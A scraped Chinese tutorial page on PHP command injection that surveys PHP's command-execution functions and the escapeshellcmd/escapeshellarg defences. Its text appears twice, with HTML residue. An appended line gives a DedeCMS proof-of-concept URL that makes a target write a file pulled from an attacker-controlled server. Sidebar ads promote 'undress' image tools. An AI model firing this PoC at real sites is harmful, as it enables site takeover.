目錄
命令執行函數的利用" >命令執行函數的利用
2.1  system函數" >2.1  system函數
2.3  passthru函數" >2.3  passthru函數
2.4  shell_exec函數" >2.4  shell_exec函數
2.5  」反引號" >2.5  」反引號
2.6  Popen函數" >2.6  Popen函數
" >#防禦函數
3.3  escapeshellarg函數" >3.3  escapeshellarg函數
命令執行函數的利用" >命令執行函數的利用
2.1  system函数" >2.1  system函数
2.2      exec函数" >2.2      exec函数
2.3  passthru函数" >2.3  passthru函数
2.4  shell_exec函数" >2.4  shell_exec函数
2.5  ”反引号" >2.5  ”反引号
2.6  Popen函数" >2.6  Popen函数
2.7  proc_open函数" >2.7  proc_open函数
2.8pcntl_exec函数" >2.8pcntl_exec函数
防御函数" >防御函数
3.1  escapeshellcmd()函数" >3.1  escapeshellcmd()函数
3.3  escapeshellarg函数" >3.3  escapeshellarg函数
首頁 後端開發 php教程 PHP指令注入dedecms遠端寫入檔案連結實例分享

PHP指令注入dedecms遠端寫入檔案連結實例分享

Mar 12, 2018 am 11:59 AM
dedecms php 文件

PHP指令注入攻擊漏洞是PHP應用程式中常見的腳本漏洞之一,國內著名的Web應用程式Discuz!、DedeCMS等都曾經存在過該類型漏洞。

 Command Injection,即命令注入攻擊,是指由於Web應用程式對使用者提交的資料過濾不嚴格,導致駭客可以透過建構特殊命令字串的方式,將資料提交至Web應用程式中,並利用該方式執行外部程式或系統指令實施攻擊,非法取得資料或網路資源等。
  PHP命令注入攻擊存在的主要原因是Web應用程式設計師在應用PHP語言中一些具有命令執行功能的函數時,對用戶提交的資料內容沒有進行嚴格的過濾就帶入函數中執行而造成的。例如,當駭客提交的資料內容為寫入一個PHP檔案到網站目錄時,就可以透過該指令注入攻擊漏洞寫入一個PHP後門文件,進而實施進一步的滲透攻擊。
  PHP指令注入攻擊漏洞帶來的危害和影響很嚴重。防範指令注入攻擊漏洞的存在可以透過以下幾種方法:
 1.盡量不要執行外部的應用程式或指令。
 2.使用自訂函數或函數庫實作外部應用程式或命令的功能。
 3.在執行system、eval等指令執行功能的函數前,確定參數內容。
 4.使用escapeshellarg函數處理相關參數。 escapeshellarg函數會將任何引起參數或命令結束的字元進行轉義,如單引號“'”會被轉義為“\'”,雙引號“””會被轉義為“\””,分號“ ;」會被轉義為“\;”,這樣escapeshellarg會將參數內容限制在一對單引號或雙引號裡面,轉義參數中所包含的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的。
 5.使用safe_mode_exec_dir執行可執行的檔案路徑。將php.ini檔案中的safe_mode設為On,然後將允許執行的檔案放入目錄中,並使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,當需要執行對應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將會失敗。
  PHP指令注入攻擊漏洞是PHP應用程式常見漏洞之一。國內著名的PHP應用程序,如Discuz!、Dedecms等大型程式在網路中均被公佈過存在命令注入攻擊漏洞,駭客可以透過命令注入攻擊漏洞快速獲取網站權限,進而實施掛馬、釣魚等惡意攻擊,造成的影響和危害十分巨大。同時,目前PHP語言應用於Web應用程式開發所佔比例較大,Web應用程式設計師應該了解命令注入攻擊漏洞的危害,修補程式中可能存在的被駭客利用的漏洞情況,保護網路使用者的安全,免受掛馬、釣魚等惡意程式碼的攻擊

命令執行函數的利用

#在PHP中,可以實作執行外部程式或函數的命令執行函數包括以下5個函數。

2.1  system函數

#可以用來執行一個外部的應用程式並將對應的執行結果輸出,函數原型如下:string system (string command, int &return_var)其中,command是要執行的指令,return_var存放執行指令的執行後的狀態值。依照PHP程式設計師的想法,指令執行函數的主要作用是可以透過指令執行函數與Web應用程式進行交互,透過Web應用程式執行外部程式或系統指令,如Web應用程式設計師想透過system函數取得IP位址、使用者等信息,那麼他可以透過建構如下程式碼實現。在下面的程式碼中,定義了一個名為$action的變量,其值為獲得的cmd值,system($action));中$action為system的參數,即要執行的命令。當我們PHP調試的時候,用var_dump 或print_r打印數據或數組時,html頁面沒有換行顯示,看到的內容一大堆,不好定位,輸出前添加

,便可以自動格式化換行顯示。 <br>在瀏覽器網址列輸入”http://localhost/test.php?cmd=ipconfig”,當cmd的值賦值為ipconfig時,system函數輸出IP位址資訊=</span></p>
<h3>##2.2      exec函數<span style='font-family: 微软雅黑, "Microsoft YaHei";'></span>
</h3>
<p>可以用來執行一個外部的應用程序,函數原型如下: <span style='font-family: 微软雅黑, "Microsoft YaHei";'></span>#<div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class='brush:php;toolbar:false;'>string exec ( string $command [, array &$output [, int &$return_var ]] ),
登入後複製
登入後複製

其中command是要執行的指令,output是取得執行指令輸出的每一行字串,return_var存放執行指令後的狀態值。

2.3  passthru函數

#可以用來執行一個系統指令並顯示原始的輸出,當系統指令的輸出是二進位的數據,並且需要直接傳回值給瀏覽器時,需要使用passthru函數來取代system與exec函數。 Passthru函數原型如下:

void passthru (string command, int &return_var),
登入後複製
登入後複製


其中command是要執行的指令,return_var存放執行指令後的狀態值。可以透過建構如下PHP程式碼進行測試。

2.4  shell_exec函數

#執行shell指令並傳回輸出的字串,函數原型如下:

#
string shell_exec (string command),
登入後複製

command
是要執行的指令。

2.5  」反引號

#與shell_exec功能相同,執行shell指令並傳回輸出的字串。

2.6  Popen函數

popen() 函數開啟進程檔案指標,即開啟一個指向進程的管道,該進程由派生指定的command 命令執行而產生。 $mode),其中,command為規定要執行的指令,mode規定連線模式,r為唯讀,w為唯寫。

用於執行一個指令,並且開啟用來輸入/輸出的檔案指標。 ##resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )

2.8pcntl_exec函數


pcntl_exec函數在目前進程空間執行指定程式。 args [, array $envs ]] )其中,path必須是可執行二進位檔案路徑或在檔案第一行指定了可執行檔路徑標頭的腳本;args是要傳遞給程式的參數的字串數組;envs是要傳遞給程式作為環境變數的字串陣列。

#防禦函數

當使用者輸入的資料作為函數參數時,可以使用escapeshellarg()或escapeshellcmd()函數來過濾使用者輸入的數據,防止用戶欺騙系統執行任意指令。 shell元字元來完成工作。這些元字元包括:# & ;``,| * ? ~ < > ^ ( ) [ ] { } $ \\。函數原型如下:string escapeshellcmd(string command)。本函數除去了字串中的特殊符號,可以防止使用者惡意破解伺服器系統。

3.3  escapeshellarg函數

此函數把字串轉碼為可以在shell指令裡使用的參數。 escapeshellarg()將為字串增加一個單引號並且能引用或轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字串傳入shell函數,並且還是確保安全的。對於使用者輸入的部分參數就應該使用這個函數。可以用到php的安全性中,會過濾掉arg中存在的一些特殊字元。在輸入的參數中如果包含中文傳遞給escapeshellarg,會被過濾掉。函數原型如下:string escapeshellarg ( string $arg ),其中arg為需要被轉碼的參數。

附:dedecms遠端寫入檔案漏洞連結(與本文知識點無關)
https://www.seebug.org/vuldb/ssvid-89354
poc:
http://目標IP/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=hello.php&updateHost=http://自己控制的http伺服器/

PHP命令注入攻擊漏洞是PHP應用程式中常見的腳本漏洞之一,國內著名的Web應用程式Discuz!、DedeCMS等都曾經存在過該類型漏洞。
  Command Injection,即命令注入攻擊,是指由於Web應用程式對使用者提交的資料過濾不嚴格,導致駭客可以透過建構特殊命令字串的方式,將資料提交至Web應用程式中,並利用該方式執行外部程式或系統指令實施攻擊,非法取得資料或網路資源等。
  PHP命令注入攻擊存在的主要原因是Web應用程式設計師在應用PHP語言中一些具有命令執行功能的函數時,對用戶提交的資料內容沒有進行嚴格的過濾就帶入函數中執行而造成的。例如,當駭客提交的資料內容為寫入一個PHP檔案到網站目錄時,就可以透過該指令注入攻擊漏洞寫入一個PHP後門文件,進而實施進一步的滲透攻擊。
  PHP指令注入攻擊漏洞帶來的危害和影響很嚴重。防範指令注入攻擊漏洞的存在可以透過以下幾種方法:
 1.盡量不要執行外部的應用程式或指令。
 2.使用自訂函數或函數庫實作外部應用程式或命令的功能。
 3.在執行system、eval等指令執行功能的函數前,確定參數內容。
 4.使用escapeshellarg函數處理相關參數。 escapeshellarg函數會將任何引起參數或命令結束的字元進行轉義,如單引號“'”會被轉義為“\'”,雙引號“””會被轉義為“\””,分號“ ;」會被轉義為“\;”,這樣escapeshellarg會將參數內容限制在一對單引號或雙引號裡面,轉義參數中所包含的單引號或雙引號,使其無法對當前執行進行截斷,實現防範命令注入攻擊的目的。
 5.使用safe_mode_exec_dir執行可執行的檔案路徑。將php.ini檔案中的safe_mode設為On,然後將允許執行的檔案放入目錄中,並使用safe_mode_exec_dir指定這個可執行的檔案路徑。這樣,當需要執行對應的外部程式時,程式必須在safe_mode_exec_dir指定的目錄中才會允許執行,否則執行將會失敗。
  PHP指令注入攻擊漏洞是PHP應用程式常見漏洞之一。國內著名的PHP應用程序,如Discuz!、Dedecms等大型程式在網路中均被公佈過存在命令注入攻擊漏洞,駭客可以透過命令注入攻擊漏洞快速獲取網站權限,進而實施掛馬、釣魚等惡意攻擊,造成的影響和危害十分巨大。同時,目前PHP語言應用於Web應用程式開發所佔比例較大,Web應用程式設計師應該了解命令注入攻擊漏洞的危害,修補程式中可能存在的被駭客利用的漏洞情況,保護網路使用者的安全,免受掛馬、釣魚等惡意程式碼的攻擊

命令執行函數的利用

#在PHP中,可以實作執行外部程式或函數的命令執行函數包括以下5個函數。

2.1 system函数

可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:string system(string command, int &return_var)其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。按照PHP程序员的想法,命令执行函数的主要作用是可以通过命令执行函数与Web应用程序进行交互,通过Web应用程序执行外部程序或系统命令,如Web应用程序员想通过system函数获取IP地址、用户等信息,那么他可以通过构造如下代码实现。在下面的代码中,定义了一个名为$action的变量,其值为获得的cmd值,system($action));中$action为system的参数,即要执行的命令。当我们PHP调试的时候,用var_dump 或 print_r打印数据或数组时,html页面没有换行显示,看到的内容一大堆,不好定位,输出前添加

,便可以自动格式化换行显示。 <br/>在浏览器地址栏输入”http://localhost/test.php?cmd=ipconfig”,当cmd的值赋值为ipconfig时,system函数输出IP地址信息=</span></p><h3 id="span-style-font-family-微软雅黑-quot-Microsoft-YaHei-quot-nbsp-nbsp-nbsp-exec函数-span"><span style="font-family: 微软雅黑, "Microsoft YaHei";">2.2      exec函数</span></h3><p><span style="font-family: 微软雅黑, "Microsoft YaHei";">可以用来执行一个外部的应用程序,函数原型如下: <br/></span></p><div class="code" style="position:relative; padding:0px; margin:0px;"><div class="code" style="position:relative; padding:0px; margin:0px;"><pre class='brush:php;toolbar:false;'>string exec ( string $command [, array &$output [, int &$return_var ]] ),
登入後複製
登入後複製


其中command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值。

2.3 passthru函数

可以用来执行一个系统命令并显示原始的输出,当系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

void passthru (string command, int &return_var),
登入後複製
登入後複製


其中command是要执行的命令,return_var存放执行命令后的状态值。可以通过构造如下PHP代码进行测试。

2.4 shell_exec函数

执行shell命令并返回输出的字符串,函数原型如下:
string shell_exec (string command),command是要执行的命令。

2.5 ”反引号

与shell_exec功能相同,执行shell命令并返回输出的字符串。

2.6 Popen函数

popen() 函数打开进程文件指针,即打开一个指向进程的管道,该进程由派生指定的 command 命令执行而产生。返回一个文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。若出错,则返回 false。函数原型如下:popen(string $command,string $mode),其中,command为规定要执行的命令,mode规定连接模式,r为只读,w为只写。

2.7 proc_open函数

用于执行一个命令,并且打开用来输入/输出的文件指针。与popen()函数类似,但是 proc_open()提供了更加强大的控制程序执行的能力。函数原型如下:

resource proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd [, array $env [, array $other_options ]]] )
登入後複製


2.8pcntl_exec函数

pcntl_exec函数在当前进程空间执行指定程序。当发生错误时返回 FALSE,没有错误时没有返回。函数原型如下:void pcntl_exec ( string $path [, array $args [, array $envs ]] )其中,path必须是可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本;args是一个要传递给程序的参数的字符串数组;envs是一个要传递给程序作为环境变量的字符串数组。这个数组是 key => value格式的,key代表要传递的环境变量的名称,value代表该环境变量值。

防御函数

当用户输入的数据作为函数参数时,可以使用escapeshellarg()或escapeshellcmd()函数来过滤用户输入的数据,防止用户欺骗系统执行任意命令。

3.1 escapeshellcmd()函数

除去字符串中的特殊符号,会转义命令中的所有shell元字符来完成工作。这些元字符包括:# & ;``,| * ? ~ < > ^ ( ) [ ] { } $ \\。函数原型如下:string escapeshellcmd(string command)。本函数除去了字符串中的特殊符号,可以防止使用者恶意破解服务器系统。

3.3 escapeshellarg函数

该函数把字符串转码为可以在shell命令里使用的参数。escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。可以用到php的安全中,会过滤掉arg中存在的一些特殊字符。在输入的参数中如果包含中文传递给escapeshellarg,会被过滤掉。函数原型如下:

string escapeshellarg ( string $arg )
登入後複製

,其中arg为需要被转码的参数。

以上是PHP指令注入dedecms遠端寫入檔案連結實例分享的詳細內容。更多資訊請關注PHP中文網其他相關文章!

本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
3 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
3 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1665
14
CakePHP 教程
1424
52
Laravel 教程
1322
25
PHP教程
1270
29
C# 教程
1249
24
PHP和Python:比較兩種流行的編程語言 PHP和Python:比較兩種流行的編程語言 Apr 14, 2025 am 12:13 AM

PHP和Python各有優勢,選擇依據項目需求。 1.PHP適合web開發,尤其快速開發和維護網站。 2.Python適用於數據科學、機器學習和人工智能,語法簡潔,適合初學者。

PHP行動:現實世界中的示例和應用程序 PHP行動:現實世界中的示例和應用程序 Apr 14, 2025 am 12:19 AM

PHP在電子商務、內容管理系統和API開發中廣泛應用。 1)電子商務:用於購物車功能和支付處理。 2)內容管理系統:用於動態內容生成和用戶管理。 3)API開發:用於RESTfulAPI開發和API安全性。通過性能優化和最佳實踐,PHP應用的效率和可維護性得以提升。

PHP:網絡開發的關鍵語言 PHP:網絡開發的關鍵語言 Apr 13, 2025 am 12:08 AM

PHP是一種廣泛應用於服務器端的腳本語言,特別適合web開發。 1.PHP可以嵌入HTML,處理HTTP請求和響應,支持多種數據庫。 2.PHP用於生成動態網頁內容,處理表單數據,訪問數據庫等,具有強大的社區支持和開源資源。 3.PHP是解釋型語言,執行過程包括詞法分析、語法分析、編譯和執行。 4.PHP可以與MySQL結合用於用戶註冊系統等高級應用。 5.調試PHP時,可使用error_reporting()和var_dump()等函數。 6.優化PHP代碼可通過緩存機制、優化數據庫查詢和使用內置函數。 7

PHP與Python:了解差異 PHP與Python:了解差異 Apr 11, 2025 am 12:15 AM

PHP和Python各有優勢,選擇應基於項目需求。 1.PHP適合web開發,語法簡單,執行效率高。 2.Python適用於數據科學和機器學習,語法簡潔,庫豐富。

PHP的持久相關性:它還活著嗎? PHP的持久相關性:它還活著嗎? Apr 14, 2025 am 12:12 AM

PHP仍然具有活力,其在現代編程領域中依然佔據重要地位。 1)PHP的簡單易學和強大社區支持使其在Web開發中廣泛應用;2)其靈活性和穩定性使其在處理Web表單、數據庫操作和文件處理等方面表現出色;3)PHP不斷進化和優化,適用於初學者和經驗豐富的開發者。

PHP和Python:代碼示例和比較 PHP和Python:代碼示例和比較 Apr 15, 2025 am 12:07 AM

PHP和Python各有優劣,選擇取決於項目需求和個人偏好。 1.PHP適合快速開發和維護大型Web應用。 2.Python在數據科學和機器學習領域佔據主導地位。

PHP與其他語言:比較 PHP與其他語言:比較 Apr 13, 2025 am 12:19 AM

PHP適合web開發,特別是在快速開發和處理動態內容方面表現出色,但不擅長數據科學和企業級應用。與Python相比,PHP在web開發中更具優勢,但在數據科學領域不如Python;與Java相比,PHP在企業級應用中表現較差,但在web開發中更靈活;與JavaScript相比,PHP在後端開發中更簡潔,但在前端開發中不如JavaScript。

PHP和Python:解釋了不同的範例 PHP和Python:解釋了不同的範例 Apr 18, 2025 am 12:26 AM

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。

See all articles